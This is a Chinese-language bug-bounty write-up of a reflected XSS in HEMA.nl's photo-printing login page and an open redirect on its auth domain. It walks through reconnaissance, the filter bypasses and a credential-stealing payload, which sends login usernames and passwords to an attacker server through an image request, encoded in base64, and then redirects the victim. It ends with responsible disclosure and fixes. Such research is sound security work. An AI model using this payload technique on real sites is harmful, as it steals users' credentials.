反射型XSS漏洞实战:HEMA.nl照片服务的攻击链剖析
概念验证
浏览器上方展示攻击效果,下方私人Slack频道实时显示窃取的用户凭证。
背景介绍
反射型XSS漏洞极具挖掘乐趣——它们无处不在,且精心构造的注入载荷可能造成重大影响。本文将探索如何发现此类漏洞并构建定制化载荷,同时突破各种限制并找到有效解决方案。
目标选择:HEMA.nl
荷兰国民品牌HEMA以其香肠、苹果派和遍布全国的杂货店闻名。但我们需要确认是否允许对其资产进行安全测试。英文免责声明明确允许漏洞挖掘与报告,甚至可能获得奖励。荷兰版声明进一步补充了奖励细节:“美味的HEMA苹果派!”——看来我们的漏洞或许能换来美食奖励。
侦查阶段:从何处入手?
作为顾客,我计划订购照片打印服务,这有助于发现HEMA使用的不同域名。启用Burp Suite社区版拦截HEMA.nl流量后,我通常通过枚举子域名或主站功能页面开始侦查。Burp Suite的站点地图和漏洞扫描功能极大提升了效率。
Burp Suite配置与扩展
新建项目并配置仅捕获HEMA.nl流量后,我启用了两个关键扩展:
- Param Miner:自动发现查询字符串和POST正文中的隐藏参数
- Paramalyzer:构建参数关系图谱,可视化共享变量(如userId)的端点关联
(向扩展作者James ‘albinowax’ Kettle致谢:过去半年该工具助我发现70+漏洞,部分获得高额奖金)
手动构建站点地图
虽然Burp自带爬虫功能,我仍偏好手动探索以深入理解站点功能与子域名关系。通过Chrome的SwitchyOmega扩展快速切换代理设置后,我开始模拟照片订购流程。
HEMA.nl顶部菜单的“Fotoservice”指向子域名https://foto.hema.nl/。漏洞挖掘需关注模式识别:URL参数、外部加载的子域名及视觉差异。对比主站与子站发现,右上角用户菜单新增“Mijn fotoprojecten”(我的照片项目)入口。
点击该链接跳转至https://foto.hema.nl/mijn-hema/fotoprojecten/,但页面按钮指向认证端点auth.hema.digital——初始目标范围未包含该域名,需立即添加到Burp监控范围。
附加发现:auth.hema.digital开放重定向漏洞
仔细查看请求参数时发现delegation_url和token参数。任何包含"URL"字样的参数都需警惕!篡改URL可能造成开放重定向(用于钓鱼攻击)或服务端请求伪造(SSRF)。
将URL替换为Protozoan.nl后,Location头成功指向自定义域名——开放重定向漏洞确认!虽然该漏洞需配合密钥token使用,但仍是完美的攻击链跳板。
反射型XSS主战场:targetPage参数
原始重定向指向:
https://fotoservice.hema.nl/user/login.html?targetPage=https%3A%2F%2Ffotoservice.hema.nl%2Fcis%2Fitems.html%3Faccess_code%3D[屏蔽代码]
又一个包含URL的参数targetPage!检查页面源码发现该参数值被直接插入script标签内的字符串中。我们需要突破window.location.href='参数值'
的约束以执行恶意代码。
六步突破法
- 注入单引号闭合字符串 → 失败(被URL编码)
- 注入
</script>
闭合标签 → 失败(被防火墙拦截) - URL编码
</script>
为%3c%2f%73%63%72%69%70%74%3e
→ 失败(无回显) - 测试特殊字符
<,>,%2F
→ 失败(服务器拒绝) - 关键突破:删除URL起始部分 → 成功!参数值被重写为
/user/'参数值'
且取消URL编码 - 字符集测试确认可安全使用
();
字符后,构造经典alert(1)
载荷
终极载荷:凭证窃取与Slack通知
成功登录后触发handleLogin函数时执行我们的载荷。最终载荷实现:
- 窃取用户名密码
- 发送至攻击者私有Slack频道
- 重定向用户至正常页面避免察觉
载荷URL结构:
https://fotoservice.hema.nl/user/login.html?targetPage=%27;[载荷代码]%27
载荷分解
%27;
:闭合字符串并终止语句w=%27%23%27;
:注入#字符使服务器允许使用方括号(关键突破点)window.stop()
:终止原始重定向document.images[0].src=atob([Base64编码URL])
:通过图片请求外传数据atob('aHR0cHM6Ly95b3VyLW93bi1ibGluZC14c3Mtc2VydmVyL2hlbWEv')
解码为攻击者服务器URL- 拼接
loginForm.login.value
和loginForm.password.value
窃取凭证 setTimeout
实现3秒后重定向至原域名
高级技巧:Blind XSS服务器搭建
使用https://github.com/mazen160/xless 工具快速部署盲注XSS服务器,将泄露数据转发至Slack频道并获得实时推送通知。
漏洞限制
- 需用户主动访问含载荷URL
- 仅在使用者成功登录后触发
责任披露与奖励
HEMA展现了优秀的安全响应机制:明确的披露政策、友好快速的邮件回复,以及苹果派/礼品卡奖励。尽管2020年COVID-19疫情造成经营压力,但保护用户数据始终是各方共同利益所在。
时间线
- 05/08 发现XSS#1与开放重定向
- 05/09 发现XSS#2-#5
- 05/11 确认漏洞并追加SQL注入报告
- 05/14 获得100欧元礼品卡
- 06/05 因持续贡献获得额外奖励
解决方案
- 开放重定向:采用URL白名单机制
- XSS漏洞:对用户输入实施严格编码/转义处理
最终奖励
100欧元HEMA礼品卡(可兑换香肠或苹果派)+额外奖金(累计报告5个XSS、1个SQL注入及多个其他漏洞)
研究过程中无动物受到伤害